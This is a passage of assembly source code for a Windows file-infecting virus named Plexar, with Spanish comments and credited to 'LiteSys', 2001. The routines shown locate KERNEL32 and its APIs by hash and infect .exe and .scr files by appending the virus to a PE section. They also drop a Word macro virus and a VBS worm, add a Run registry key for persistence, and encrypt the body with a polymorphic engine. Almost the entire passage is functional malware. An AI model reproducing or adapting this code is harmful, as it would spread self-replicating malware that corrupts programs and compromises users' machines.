EDX + PUSH EAX + APICALL SetFilePointer + + CDQ + PUSH EDX + LEA EAX, OFS [PTemporal] + PUSH EAX + PUSH Largo_CocoFrio-1 + LEA EAX, OFS [CocoFrio] + PUSH EAX + PUSH DWO [PFHandle] + APICALL WriteFile + OR EAX, EAX + JZ @P_Fin + + PUSH DWO [PFHandle] + APICALL CloseHandle + + @P_Fin: + + POPAD + RET + Er_Pailon ENDP + +; + + ; Proceso para buscar la base de KERNEL32 + + Busca_K32 PROC + + AND EDI, 0FFFF0000h + PUSH Numero_Paginas + POP ECX + + @Compara_K32: + + PUSH EDI + + MOV BX, WORD PTR [EDI] + OR BX, 03D5Bh ; 5A4D || 3D5B == 7F5F + SUB BX, 07F5Fh + JNZ @Incrementa_K32 + + ADD EDI, [EDI+3Ch] + MOV BX, WORD PTR [EDI] ; 4550 && C443 == 4440 + AND BX, 0C443h + XOR BX, 04440h + JE @EnK32 + + @Incrementa_K32: + + POP EDI + + SUB EDI, 10000h + LOOP @Compara_K32 + + PUSH K32_W9X + + @EnK32: + + POP DWO [KERNEL32] + RET + + Busca_K32 ENDP + +; + DB 5 DUP (90h) + + ; Proceso para buscar a GetProcAddress + + Busca_GPA PROC + + MOV EBX, DWO [KERNEL32] + MOV EDI, EBX + + ADD EDI, DWORD PTR [EDI+3Ch] + MOV EDI, DWORD PTR [EDI+78h] + ADD EDI, EBX + MOV DWO [Exports], EDI + + MOV ECX, DWORD PTR [EDI+18h] + DEC ECX + + MOV EDI, DWORD PTR [EDI+20h] + ADD EDI, EBX + + XOR EAX, EAX + + @BGPA_1: + + MOV ESI, DWORD PTR [EDI] + ADD ESI, EBX + PUSH EDI + + PUSH l_GetProcAddress + POP EDI + PUSHAD + CALL CRC32 + CMP EAX, CRC32_GetProcAddress + POPAD + POP EDI + JE @BGPA_2 + + INC EAX + ADD EDI, 4h + + LOOP @BGPA_1 + + PUSH GPA_W9X + + JMP @BGPA_3 + + @BGPA_2: + + MOV ESI, DWO [Exports] + ADD EAX, EAX + + MOV EDI, DWORD PTR [ESI+24h] + ADD EDI, EBX + ADD EDI, EAX + + MOVZX EAX, WORD PTR [EDI] + IMUL EAX, 4h + + MOV EDI, DWORD PTR [ESI+1Ch] + ADD EDI, EBX + ADD EDI, EAX + + MOV EAX, DWORD PTR [EDI] + ADD EAX, EBX + + PUSH EAX + + @BGPA_3: + + POP DWO [GetProcAddress] + + RET + + Busca_GPA ENDP + +; + + ; ESI -> Donde Guardar las APIs + ; EDI -> Cadenas de APIs + ; EBX -> Modulo + + ; Proceso para buscar las APIs + + Busca_APIs PROC + + PUSHAD + + MOV DWO [Guardalo], ESI + XCHG EDI, ESI + + @BA1: + LEA EDI, OFS [TempAPI] + @BA2: + + CMP BYTE PTR [ESI], 00h + JE @BA4 + + LODSB + CMP AL, 0Eh + JA @BA3 + + XOR ECX, ECX + XCHG CL, AL + + PUSH ESI + LEA ESI, OFS [PackedAPIs] + + @BA5: + INC ESI + CMP BYTE PTR [ESI], 00h + JNZ @BA5 + + LOOP @BA5 + + INC ESI + @BA6: + MOVSB + CMP BYTE PTR [ESI], 00h + JNZ @BA6 + + POP ESI + JMP @BA2 + + @BA3: + STOSB + JMP @BA2 + + @BA4: + + XOR AL, AL + STOSB + + LEA EAX, OFS [TempAPI] + PUSH EAX + PUSH EBX + CALL [GetProcAddress+EBP] + NOP + + PUSH ESI + MOV ESI, 12345678h + ORG $-4 + Guardalo DD 00000000h + MOV DWORD PTR [ESI], EAX + ADD DWO [Guardalo], 00000004h + POP ESI + + INC ESI + + CMP BYTE PTR [ESI], 0FFh + JNZ @BA1 + + @OA7: + + POPAD + + RET + + Busca_APIs ENDP + +; + + ; Accion directa. + + Directa PROC Pascal DeltaOfs:DWORD + + PUSHAD + + MOV EBP, DeltaOfs + + CALL @SEH_2 + + MOV ESP, DWORD PTR [ESP+8h] + JMP @DIRF + + @SEH_2: + + XOR EAX, EAX + PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + LEA EDX, OFS [RewtDir] + PUSH EDX + APICALL SetCurrentDirectoryA + OR EAX, EAX + JZ @DIRF + + @DIR1: + + LEA EAX, OFS [Busqueda] + PUSH EAX + LEA EAX, OFS [Mascara] + PUSH EAX + APICALL FindFirstFileA + MOV DWO [BHandle], EAX + INC EAX + JZ @DIR2 + + @DIR3: + + LEA EDI, OFS [Busqueda.wfd_szFileName] + MOV EBX, EDI + PUSH EBX + XOR AL, AL + SCASB + JNZ $-1 + XCHG ESI, EDI + SUB ESI, 5h + OR DWORD PTR [ESI], 20202020h + MOV EDI, 5h + CALL CRC32 + POP EBX + CMP EAX, CRC_EXE ; .exe crc32 + JE @Infecta_Este_Exe + CMP EAX, CRC_SCR ; .scr crc32 + JE @Infecta_Este_Exe + + @Retorna_Directa: + + LEA EAX, OFS [Busqueda] + PUSH EAX + PUSH DWO [BHandle] + APICALL FindNextFileA + OR EAX, EAX + JNZ @DIR3 + + PUSH DWO [BHandle] + APICALL FindClose + + @DIR2: + + LEA EAX, OFS [Puto_Puto] + PUSH EAX + APICALL SetCurrentDirectoryA + + LEA EAX, OFS [Busqueda.wfd_szFileName] + PUSH EAX + PUSH MAX_PATH + APICALL GetCurrentDirectoryA + CMP EAX, DWO [LargPP] + JZ @DIRF + MOV DWO [LargPP], EAX + JMP @DIR1 + + LEA EAX, OFS [RewtDir] + PUSH EAX + APICALL SetCurrentDirectoryA + + @DIRF: + + XOR ECX, ECX + POP DWORD PTR FS:[ECX] + POP ECX + + IF DEBUG + + POPAD + RET + + ELSE + + INC BY [Listo_Directa] + + MOV DWO [GuardaEBP], EBP + POPAD + + MOV EBX, 12345678h + ORG $-4 + GuardaEBP DD 00000000h + + PUSH NULL + CALL [EBX+ExitThread] + + RET + + ENDIF + + @Infecta_Este_Exe: + CALL Infecta_PE + JMP @Retorna_Directa + + Directa ENDP + +; + + ; Proceso para infectar un PE. + ; + ; EBX -> Archivo a infectar + + Infecta_PE PROC + + PUSHAD + + PUSH DWO [HostBack] + POP DWO [Guarda_EIP] + + CALL @Seh_IPE + + MOV ESP, [ESP+8h] + JMP @PEF + + @Seh_IPE: + + XOR EAX, EAX + PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + PUSH 019d + POP ECX + + MOV ESI, EBX + LEA EDX, OFS [CRCNoInf] + + @CicloNo: + + PUSH 04h + POP EDI + PUSH EBX + PUSH ESI + PUSH EDX + PUSH ECX + CALL CRC32 + POP ECX + POP EDX + POP ESI + POP EBX + CMP EAX, DWORD PTR [EDX] + JZ @PEF + ADD EDX, 4h + LOOP @CicloNo + + PUSH 00000000h + PUSH EBX + APICALL SetFileAttributesA + + XOR EAX, EAX + PUSH EAX + PUSH 00000000h + PUSH OPEN_EXISTING + PUSH EAX + PUSH EAX + PUSH GENERIC_READ + GENERIC_WRITE + PUSH EBX + APICALL CreateFileA + MOV DWO [FHandle], EAX + INC EAX + JZ @PEF + + DEC EAX + PUSH NULL + PUSH EAX + APICALL GetFileSize + MOV DWO [Tamao_1], EAX + INC EAX + JZ @PE_Close + DEC EAX + + CMP EAX, 8192d + JB @PE_Close + + ADD EAX, Virus_Tamao + 1400h + MOV DWO [Tamao_2], EAX + + XOR EDX, EDX + PUSH EDX + PUSH EAX + PUSH EDX + PUSH PAGE_READWRITE + PUSH EDX + PUSH DWO [FHandle] + APICALL CreateFileMappingA + MOV DWO [MHandle], EAX + OR EAX, EAX + JZ @PE_Close + + XOR EDX, EDX + PUSH DWO [Tamao_2] + PUSH EDX + PUSH EDX + PUSH FILE_MAP_WRITE + PUSH EAX + APICALL MapViewOfFile + MOV DWO [BaseMap], EAX + OR EAX, EAX + JZ @PE_CloseMap + + MOV EDI, EAX + MOV BX, WORD PTR [EDI] + AND BX, 3ED4h ; "ZM" = 5A4Dh ^ 3ED4h == 1444h + ADD BX, BX + XOR BX, 3488h + JNZ @PE_UnMap + + MOV EBX, DWORD PTR [EDI+3Ch] + ADD EBX, EDI + CMP EBX, DWO [BaseMap] + JB @PE_UnMap + MOV EDX, DWO [BaseMap] + ADD EDX, DWO [Tamao_1] + CMP EBX, EDX + JA @Pe_UnMap + + ADD EDI, [EDI+3Ch] + MOV BX, WORD PTR [EDI] + OR BX, 0AEDAh ; "EP" = 4550h | 0AEDAh == 0EFDAh + SUB BX, 0EFDAh + JNZ @PE_UnMap + + MOV ESI, EDI + PUSHAD + ADD ESI, 4Ch + MOV EDI, 5h + CALL CRC32 + CMP EAX, CRC_PLXR + POPAD + JE @PE_UnMap + + MOV EAX, "rxlp" XOR 0C3E8F2A8h + XOR EAX, 0C3E8F2A8h + MOV DWORD PTR [EDI+4Ch], EAX + + ADD ESI, 18h + MOVZX EAX, WORD PTR [EDI+14h] + ADD ESI, EAX + + XOR EDX, EDX + MOVZX EDX, WORD PTR [EDI+06h] + DEC EDX + IMUL EDX, 28h + ADD ESI, EDX + + OR DWORD PTR [ESI+24h], 0A0000020h + + MOV EAX, DWORD PTR [ESI+08h] + PUSH EAX + ADD EAX, Virus_Tamao + 400h + MOV DWORD PTR [ESI+08h], EAX + + MOV EBX, DWORD PTR [EDI+3Ch] + XOR EDX, EDX + DIV EBX + INC EAX + MUL EBX + + MOV DWORD PTR [ESI+10h], EAX + + MOV EAX, DWORD PTR [ESI+10h] + ADD EAX, DWORD PTR [ESI+0Ch] + MOV DWORD PTR [EDI+50h], EAX + + POP EDX + + MOV EAX, DWORD PTR [EDI+28h] + ADD EAX, DWORD PTR [EDI+34h] + MOV DWO [HostBack], EAX + + ADD EDX, DWORD PTR [ESI+0Ch] + MOV DWORD PTR [EDI+28h], EDX + + PUSH EBP + PUSH EBX + INC ESP + + POP EBX ; \ + DEC ESP ; \ + PUSH EBX ; > "[LSX]" Cadena Ejecutable. + POP EAX ; / + POP EBP ; / + + MOV EDI, DWORD PTR [ESI+14h] + ADD EDI, DWORD PTR [ESI+08h] + ADD EDI, DWO [BaseMap] + MOV ECX, Virus_Tamao / 4 + SUB EDI, Virus_Tamao + 400h + LEA ESI, OFS [Empieza_Plexar] + CALL PXPE + + PUSH DWO [Tamao_2] + POP DWO [Tamao_1] + + @PE_UnMap: + + XOR EAX, EAX + PUSH EAX + PUSH EAX + PUSH DWO [Tamao_1] + PUSH DWO [FHandle] + APICALL SetFilePointer + + PUSH DWO [FHandle] + APICALL SetEndOfFile + + PUSH DWO [BaseMap] + APICALL UnmapViewOfFile + + @PE_CloseMap: + + PUSH DWO [MHandle] + APICALL CloseHandle + + @PE_Close: + + PUSH DWO [FHandle] + APICALL CloseHandle + + @PEF: + + XOR ECX, ECX + POP DWORD PTR FS:[ECX] + POP ECX + + PUSH DWO [Guarda_EIP] + POP DWO [HostBack] + + POPAD + RET + + Infecta_PE ENDP + +; + + ; Este proceso suelta en disco un archivo PE vacio. + ; + ; EBX -> Nombre + + Droppear_PE PROC + PUSHAD + + XOR EAX, EAX + PUSH EAX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH CREATE_ALWAYS + PUSH EAX + PUSH EAX + PUSH GENERIC_READ + GENERIC_WRITE + PUSH EBX + APICALL CreateFileA + MOV DWO [FHandle_DPE], EAX + INC EAX + JZ @Fin_DPE + DEC EAX + + XOR EBX, EBX + PUSH EBX + PUSH 32768d + PUSH EBX + PUSH PAGE_READWRITE + PUSH EBX + PUSH EAX + APICALL CreateFileMappingA + MOV DWO [MHandle_DPE], EAX + OR EAX, EAX + JZ @DPE_Cierra + + XOR EBX, EBX + PUSH 32768d + PUSH EBX + PUSH EBX + PUSH FILE_MAP_WRITE + PUSH EAX + APICALL MapViewOfFile + MOV DWO [BaseMap_DPE], EAX + OR EAX, EAX + JZ @DPE_CierraMap + + PUSH EAX + LEA EAX, OFS [Dropper] + PUSH EAX + CALL _aP_depack_asm + ADD ESP, 08h + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EAX + PUSH DWO [FHandle_DPE] + APICALL SetFilePointer + + @DPE_DesMapea: + + PUSH DWO [BaseMap_DPE] + APICALL UnmapViewOfFile + + @DPE_CierraMap: + + PUSH DWO [MHandle_DPE] + APICALL CloseHandle + + @DPE_Cierra: + + PUSH DWO [FHandle_DPE] + APICALL SetEndOfFile + + PUSH DWO [FHandle_DPE] + APICALL CloseHandle + + POPAD + RET + + @Fin_DPE: + + POPAD + STC + RET + + Droppear_PE ENDP + + DB 00h, 00h + DB "< Virus Plexar (c) Julio/Agosto 2001 - Escrito por LiteSys >" + DB 00h, 00h + DB "[ Hecho en Venezuela ]" + DB 00h, 00h + +; + + ; Proceso para soltar el virus macro de Word. + + Infecta_Word PROC Pascal DeltaOfs:DWORD + + PUSHAD + + MOV EBP, DeltaOfs + + CALL @SEH_3 + + MOV ESP, DWORD PTR [ESP+8h] + JMP @IW_Fin + + @SEH_3: + + XOR EAX, EAX + PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + PUSH PAGE_READWRITE + PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN + PUSH MAX_PATH + PUSH NULL + APICALL VirtualAlloc + MOV DWO [VFreeZ], EAX + OR EAX, EAX + JZ @IW_Fin + + PUSH MAX_PATH + PUSH EAX + APICALL GetWindowsDirectoryA + OR EAX, EAX + JZ @IW_Fin + + PUSH DWO [VFreeZ] + APICALL SetCurrentDirectoryA + OR EAX, EAX + JZ @IW_Fin + + PUSH MEM_DECOMMIT + PUSH MAX_PATH + PUSH 12345678h + ORG $-4 + VFreeZ DD 00000000h + APICALL VirtualFree + + LEA EBX, OFS [WScript_Exe] + CALL @Existe_Archivo + JNC @VBS_Fin + + LEA EBX, OFS [Raxelp_$$$] + CALL @Existe_Archivo + JC @IW_Fin + + LEA EDI, OFS [Macaco] + PUSH 08h + POP ECX + @IW2: + PUSH 25d + POP EBX + CALL Random + ADD EAX, 65d + STOSB + LOOP @IW2 + + MOV EAX, "$$$." + STOSD + XOR AL, AL + STOSB + + LEA EBX, OFS [Macaco] + CALL Droppear_PE + JC @IW_Fin + + LEA EBX, OFS [Macaco] + CALL Infecta_PE + + XOR EAX, EAX + PUSH EAX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH OPEN_EXISTING + PUSH EAX + PUSH EAX + PUSH GENERIC_READ + GENERIC_WRITE + LEA EAX, OFS [Macaco] + PUSH EAX + APICALL CreateFileA + MOV DWO [FHandle_IW], EAX + INC EAX + JZ @IW_Fin + DEC EAX + + PUSH NULL + PUSH EAX + APICALL GetFileSize + MOV DWO [Tamao_IW], EAX + INC EAX + JZ @IW_CierraFile + + XOR EAX, EAX + PUSH EAX + PUSH EAX + PUSH EAX + PUSH PAGE_READWRITE + PUSH EAX + PUSH DWO [FHandle_IW] + APICALL CreateFileMappingA + MOV DWO [MHandle], EAX + OR EAX, EAX + JZ @IW_CierraFile + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EBX + PUSH FILE_MAP_READ + FILE_MAP_WRITE + PUSH EAX + APICALL MapViewOfFile + MOV DWO [BaseMap_IW], EAX + OR EAX, EAX + JZ @IW_CierraMap + + PUSH PAGE_READWRITE + PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN + MOV EAX, DWO [Tamao_IW] + ADD EAX, EAX + ADD EAX, 1000h + PUSH EAX + PUSH NULL + APICALL VirtualAlloc + MOV DWO [Memoria_IW], EAX + OR EAX, EAX + JZ @IW_Fin + + MOV ECX, DWO [Tamao_IW] + MOV EDI, EAX + MOV ESI, DWO [BaseMap_IW] + + @Conve: + + LODSB + CALL @Hexa + STOSW + + LOOP @Conve + + XOR EAX, EAX + STOSD + + PUSH DWO [BaseMap_IW] + APICALL UnmapViewOfFile + + PUSH DWO [MHandle_IW] + APICALL CloseHandle + + PUSH DWO [FHandle_IW] + APICALL CloseHandle + + XOR EAX, EAX + PUSH EAX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH CREATE_NEW + PUSH EAX + PUSH EAX + PUSH GENERIC_READ + GENERIC_WRITE + LEA EAX, OFS [Raxelp_$$$] + PUSH EAX + APICALL CreateFileA + MOV DWO [FHandle_IW], EAX + INC EAX + JZ @IW_Fin + + DEC EAX + XOR EBX, EBX + PUSH EBX + PUSH 131072d + PUSH EBX + PUSH PAGE_READWRITE + PUSH EBX + PUSH EAX + APICALL CreateFileMappingA + MOV DWO [MHandle_IW], EAX + OR EAX, EAX + JZ @IW_CierraFile + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EBX + PUSH FILE_MAP_READ + FILE_MAP_WRITE + PUSH EAX + APICALL MapViewOfFile + MOV DWO [BaseMap_IW], EAX + OR EAX, EAX + JZ @IW_CierraMap + + MOV EDI, EAX + LEA ESI, OFS [Virus_Macro] + PUSH L_Virus_Macro + POP ECX + REP MOVSB + + MOV ESI, DWO [Memoria_IW] + XOR EDX, EDX + XOR EAX, EAX + + @IW_B: + + MOVSB + INC EDX + CMP EDX, 200d + JNZ @IW_D + + MOV AL, '"' + STOSB + MOV AX, 0A0Dh + STOSW + MOV EAX, "adoj" + STOSD + MOV EAX, 'j = ' + STOSD + MOV EAX, " ado" + STOSD + MOV AX, " +" + STOSW + MOV AL, '"' + STOSB + + ; joda = joda + " + + XOR EAX, EAX + XOR EDX, EDX + + @IW_D: + + CMP BYTE PTR [ESI], AL + JNZ @IW_B + + MOV AL, '"' + STOSB + MOV AX, 0A0Dh + STOSW + + LEA ESI, OFS [Virus_Macro_2] + PUSH L_Virus_Macro_2 + POP ECX + REP MOVSB + + PUSH DWO [BaseMap_IW] + APICALL UnmapViewOfFile + + PUSH DWO [MHandle_IW] + APICALL CloseHandle + + SUB EDI, DWO [BaseMap_IW] + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EDI + PUSH DWO [FHandle_IW] + APICALL SetFilePointer + + PUSH DWO [FHandle_IW] + APICALL SetEndOfFile + + PUSH DWO [FHandle_IW] + APICALL CloseHandle + + PUSH MEM_DECOMMIT + MOV EAX, DWO [Tamao_IW] + ADD EAX, EAX + ADD EAX, 1000h + PUSH EAX + PUSH DWO [Memoria_IW] + APICALL VirtualFree + + XOR EAX, EAX + PUSH EAX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH CREATE_ALWAYS + PUSH EAX + PUSH EAX + PUSH GENERIC_WRITE + LEA EBX, OFS [Plxwrd_vbs] + PUSH EBX + APICALL CreateFileA + MOV DWO [FHandle], EAX + INC EAX + JZ @IW_Fin + DEC EAX + + XOR EBX, EBX + PUSH EBX + LEA EDX, OFS [Scriptum] + PUSH EDX + PUSH Largo_MVBS + LEA EDX, OFS [Macro_VBS] + PUSH EDX + PUSH EAX + APICALL WriteFile + + PUSH DWO [FHandle_IW] + APICALL CloseHandle + + CALL @IW_Q + DB "SHLWAPI.DLL", 00h + @IW_Q: APICALL LoadLibraryA + OR EAX, EAX + JZ @IW_Fin + + CALL @IW_K + DB "SHSetValueA", 00h + @IW_K: PUSH EAX + APICALL GetProcAddress + OR EAX, EAX + JZ @IW_Fin + + PUSH 11d + LEA EBX, OFS [Plxwrd_vbs] + PUSH EBX + PUSH REG_SZ + CALL @IW_L + DB "Plexar", 00h + @IW_L: CALL @IW_M + DB "Software\Microsoft\Windows\CurrentVersion\Run", 00h + @IW_M: PUSH HKEY_LOCAL_MACHINE + CALL EAX + + @IW_Fin: + + XOR ECX, ECX + POP DWORD PTR FS:[ECX] + POP ECX + + IF DEBUG + + POPAD + RET + + ELSE + + MOV DWO [GuardaEBP2], EBP + POPAD + + MOV EBX, 12345678h + ORG $-4 + GuardaEBP2 DD 00000000h + + PUSH NULL + CALL [EBX+ExitThread] + + RET + + ENDIF + + @IW_CierraMap: + + PUSH DWO [MHandle_IW] + APICALL CloseHandle + + @IW_CierraFile: + + PUSH DWO [FHandle_IW] + APICALL CloseHandle + JMP @IW_Fin + + ; Convierte un numero a su representacion ASCII en Hex. + + @Hexa: + + PUSH ECX + PUSH EDI + + XOR ECX, ECX + MOV CL, AL + PUSH ECX + SHR CL, 04h + LEA EDI, OFS [Tabla_Hex] + INC CL + + @@Y: + INC EDI + DEC CL + JNZ @@Y + + DEC EDI + MOV AL, BYTE PTR [EDI] ; Pasa el numero exacto de la tabla + POP ECX + AND CL, 0Fh + LEA EDI, OFS [Tabla_Hex] + INC CL + + @@X: + INC EDI + DEC CL + JNZ @@X + + DEC EDI + MOV AH, BYTE PTR [EDI] ; Pasa el numero exacto de la tabla + POP EDI + POP ECX + + RET 00h + + Infecta_Word ENDP + +; + + Worm_VBS PROC Pascal DeltaOfs:DWORD + + PUSHAD + + MOV EBP, DeltaOfs + + CALL @SEH_4 + + MOV ESP, DWORD PTR [ESP+8h] + JMP @VBS_Fin + + @SEH_4: + + XOR EAX, EAX + PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + PUSH PAGE_READWRITE + PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN + PUSH MAX_PATH + PUSH NULL + APICALL VirtualAlloc + MOV DWO [VFreeX], EAX + OR EAX, EAX + JZ @VBS_Fin + + PUSH MAX_PATH + PUSH EAX + APICALL GetWindowsDirectoryA + OR EAX, EAX + JZ @VBS_Fin + + PUSH DWO [VFreeX] + APICALL SetCurrentDirectoryA + OR EAX, EAX + JZ @VBS_Fin + + PUSH MEM_DECOMMIT + PUSH MAX_PATH + PUSH 12345678h + ORG $-4 + VFreeX DD 00000000h + APICALL VirtualFree + + LEA EBX, OFS [WScript_Exe] + CALL @Existe_Archivo + JNC @VBS_Fin + + LEA EBX, OFS [Raxelp_vbs] + CALL @Existe_Archivo + JC @VBS_Fin + + PUSH 10d + POP EBX + CALL Random + XCHG ECX, EAX + LEA EDI, OFS [Nombres_Varios] + INC ECX + @VBS1: + XOR AL, AL + SCASB + JNZ @VBS1 + LOOP @VBS1 + + PUSH EDI + @VBS2: + XOR AL, AL + INC ECX + SCASB + JNZ @VBS2 + DEC ECX + POP EDI + + MOV BY [LargoVBS], CL + MOV DWO [GuardaNom], EDI + + MOV EBX, EDI + CALL Droppear_PE + JC @VBS_Fin + + MOV EBX, DWO [GuardaNom] + CALL Infecta_PE + + XOR EAX, EAX + PUSH EAX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH CREATE_NEW + PUSH EAX + PUSH EAX + PUSH GENERIC_READ + GENERIC_WRITE + LEA EAX, OFS [Raxelp_vbs] + PUSH EAX + APICALL CreateFileA + MOV DWO [FHandle_WVBS], EAX + INC EAX + JZ @VBS_Fin + DEC EAX + + XOR EBX, EBX + PUSH EBX + PUSH 4096d + PUSH EBX + PUSH PAGE_READWRITE + PUSH EBX + PUSH EAX + APICALL CreateFileMappingA + MOV DWO [MHandle_WVBS], EAX + OR EAX, EAX + JZ @VBS_CierraFile + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EBX + PUSH FILE_MAP_READ + FILE_MAP_WRITE + PUSH EAX + APICALL MapViewOfFile + MOV DWO [BaseMap_WVBS], EAX + OR EAX, EAX + JZ @VBS_DesMapea + + XCHG EDI, EAX + LEA ESI, OFS [Gusano_VBS] + PUSH L_Gusano_VBS + POP ECX + REP MOVSB + + PUSH EDI + PUSH MAX_PATH + PUSH EDI + APICALL GetWindowsDirectoryA + OR EAX, EAX + JZ @VBS_CierraTodo + POP EDI + ADD EDI, EAX + MOV BYTE PTR [EDI], "\" + INC EDI + + MOV ESI, DWO [GuardaNom] + MOVZX ECX, BY [LargoVBS] + REP MOVSB + + LEA ESI, OFS [Gusano_VBS2] + PUSH L_Gusano_VBS2 + POP ECX + REP MOVSB + SUB EDI, DWO [BaseMap_WVBS] + + PUSH DWO [BaseMap_WVBS] + APICALL UnmapViewOfFile + + PUSH DWO [MHandle_WVBS] + APICALL CloseHandle + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EDI + PUSH DWO [FHandle_WVBS] + APICALL SetFilePointer + + PUSH DWO [FHandle_WVBS] + APICALL SetEndOfFile + + PUSH DWO [FHandle_WVBS] + APICALL CloseHandle + + CALL @VBS3 + DB "SHELL32.DLL", 00h + @VBS3: APICALL LoadLibraryA + OR EAX, EAX + JZ @VBS_Fin + + CALL @VBS4 + DB "ShellExecuteA", 00h, 5 DUP (90h) + @VBS4: PUSH EAX + APICALL GetProcAddress + OR EAX, EAX + JZ @VBS_Fin + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH EBX + LEA EDX, OFS [Raxelp_VBS] + PUSH EDX + PUSH EBX + PUSH EBX + CALL EAX + + @VBS_Fin: + + XOR ECX, ECX + POP DWORD PTR FS:[ECX] + POP ECX + + IF DEBUG + + POPAD + RET + + ELSE + + MOV DWO [GuardaEBP3], EBP + POPAD + + MOV EBX, 12345678h + ORG $-4 + GuardaEBP3 DD 00000000h + + PUSH NULL + CALL [EBX+ExitThread] + RET + + ENDIF + + @VBS_CierraTodo: + + PUSH DWO [BaseMap_WVBS] + APICALL UnmapViewOfFile + + @VBS_DesMapea: + + PUSH DWO [MHandle_WVBS] + APICALL CloseHandle + + @VBS_CierraFile: + + XOR EBX, EBX + PUSH EBX + PUSH EBX + PUSH DWO [Scriptum] + PUSH DWO [FHandle_WVBS] + APICALL SetFilePointer + + PUSH DWO [FHandle_WVBS] + APICALL SetEndOfFile + + PUSH DWO [FHandle_WVBS] + APICALL CloseHandle + + JMP @VBS_Fin + + ; Rutina para revisar la existencia de un archivo. + ; EBX -> Nombre de archivo. + ; Retorna acarreo si existe + + @Existe_Archivo: + + PUSH EBX + PUSH PAGE_READWRITE + PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN + PUSH SIZEOF_WIN32_FIND_DATA + PUSH NULL + APICALL VirtualAlloc + MOV DWO [VAllocZ], EAX + OR EAX, EAX + JZ @EA_Negativo + POP EBX + + PUSH EAX + PUSH EBX + APICALL FindFirstFileA + INC EAX + JZ @EA_Negativo + + DEC EAX + PUSH EAX + APICALL FindClose + + PUSH MEM_DECOMMIT + PUSH SIZEOF_WIN32_FIND_DATA + PUSH 12345678h + ORG $-4 + VAllocZ DD 00000000h + APICALL VirtualFree + + STC + RET 0 + + @EA_Negativo: + + PUSH MEM_DECOMMIT + PUSH SIZEOF_WIN32_FIND_DATA + PUSH DWO [VAllocZ] + APICALL VirtualFree + + CLC + RET 0 + + + Worm_VBS ENDP + +; + + DB "[" XOR 40h + DB "D" XOR 40h + DB "e" XOR 40h + DB "s" XOR 40h + DB "i" XOR 40h + DB "g" XOR 40h + DB "n" XOR 40h + DB "e" XOR 40h + DB "d" XOR 40h + DB " " XOR 40h + DB "b" XOR 40h + DB "y" XOR 40h + DB " " XOR 40h + DB "L" XOR 40h + DB "i" XOR 40h + DB "t" XOR 40h + DB "e" XOR 40h + DB "S" XOR 40h + DB "y" XOR 40h + DB "s" XOR 40h + DB "]" XOR 40h + DB 40h + +; + + ; PXPE: Plexar Polymorphic Engine: Another Lame Poly Written By Me. + ; + ; ESI -> Origen + ; EDI -> Destino + ; ECX -> Tamao + + PXPE PROC + + MOV DWO [Origen], ESI + MOV DWO [Destino], EDI + MOV DWO [Tamao], ECX + + CALL @Inicializar_Semillas + + XOR EBX, EBX + DEC EBX + CALL @Aleatorio + MOV DWO [Llave], EAX + + MOV EDI, DWO [Destino] + + ; DELTA + + PUSH EDI + CALL @Basura + CALL @Basura + POP EDX + SUB EDX, EDI + MOV DWO [GuardaDelta2], EDX + + MOV AL, 0E8h ; CALL + STOSB + XOR EAX, EAX ; Delta + STOSD + CALL @Basura + CALL @Basura + CALL @Popear_Delta + CALL @Basura + CALL @Basura + CALL @Meter_Tamao + CALL @Basura + CALL @Basura + + CALL @Colocar_Lea + CALL @Basura + MOV DWO [GuardaLoop], EDI + CALL @Basura + + MOV AX, 03781h ; XOR DWORD PTR [EDI] + STOSW + MOV EAX, DWO [Llave] + STOSD + CALL @Basura + CALL @Basura + CALL @SumaCuatro + CALL @Basura + CALL @Basura + + MOV AL, 049h + STOSB + MOV AX, 850Fh + STOSW + MOV EAX, DWO [GuardaLoop] + SUB EAX, EDI + SUB EAX, 04h + STOSD + + CALL @Basura + CALL @Basura + + MOV EAX, EDI + SUB EAX, DWO [Destino] + SUB EAX, 05h + MOV EBX, DWO [GuardaDelta] + SUB DWORD PTR [EBX], EAX + MOV EDX, DWO [GuardaDelta2] + SUB DWORD PTR [EBX], EDX + + MOV ESI, DWO [Origen] + MOV ECX, DWO [Tamao] + MOV EAX, DWO [Llave] + + @ReCopia: + MOVSD + XOR DWORD PTR [EDI-4h], EAX + LOOP @ReCopia + + RET + + @Inicializar_Semillas: + + LEA EDI, OFS [@SaveSemilla] + RDTSC + STOSD + PUSH 04h + POP EDI + LEA ESI, OFS [@SaveSemilla] + CALL CRC32 + MOV DWO [Semilla_1], EAX + + APICALL GetTickCount + ADD EAX, EAX + NOT EAX ; que mierda... + PUSH 04h + POP EDI + LEA ESI, OFS [@SaveSemilla] + CALL CRC32 + MOV DWO [Semilla_2], EAX + + RET + + ; Un indecente generador de numeros aleatorios... + ; + ; EBX -> Limite. + + @Aleatorio: + + PUSH EDI + PUSH ECX + PUSH EDX + PUSH EBX + + MOV EAX, DWO [Semilla_1] + IMUL EAX, Mierda_1 + ADD EAX, Mierda_2 + MOV DWO [Semilla_1], EAX + + LEA EDI, OFS [Milonga] + STOSD + + MOV EBX, DWO [Semilla_2] + IMUL EBX, Mierda_3 + ADD EBX, Mierda_4 + MOV DWO [Semilla_2], EBX + XCHG EAX, EBX + STOSD + + LEA ESI, OFS [Milonga] + PUSH 08h + POP EDI + CALL CRC32 + + POP EBX + XOR EDX, EDX + DIV EBX + + XCHG EDX, EAX + + POP EDX + POP ECX + POP EDI + + RET + + Milonga DB 9 DUP (00h) + + @Popear_Delta: + + PUSH 04h + POP EBX + CALL @Aleatorio + OR EAX, EAX + 